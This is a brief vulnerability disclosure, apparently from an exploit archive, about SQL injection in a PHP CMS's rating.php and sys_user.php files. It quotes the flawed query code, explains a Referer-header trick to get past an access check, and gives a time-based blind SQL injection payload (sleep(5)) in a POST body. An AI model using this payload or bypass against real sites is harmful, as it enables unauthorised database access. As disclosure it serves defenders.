1、



The vulnerable file is /apps/app_article/controller/rating.php, because the

rating.php includes jscore.php, so we must add referer in

HTTP Data Stream to bypass the limits of authority.when the 'do' equal

'rate' the vulnerable is same too.





require('../../../system/jscore.php');



if(!isset($_POST['id']))

header('../../../');

else {

$id = $_POST['id'];

 $db = new FQuery();

$db->connect();

$qrs = $db->select(FDBPrefix.'article','*',"id=$id");

$qrs = $qrs[0];





POC:

POC:

Content-Type: application/x-www-form-urlencoded

Content-Length: 71



user='%2B(select(0)from(select(sleep(5)))v)%2B'&pass=poc-lab&login=Login





The vulnerable file is \apps\app_user\sys_user.php



if(isset($_POST['login'])) {

$_POST['user'] = strip_tags($_POST['user']);

$qr = $db->select(FDBPrefix."user","*","status=1 AND user='$_POST[user]'

AND password='".MD5($_POST['pass'])."'");





The parameter of user is vulnerable. strip_tags doesn't work, Still can be

bypass.
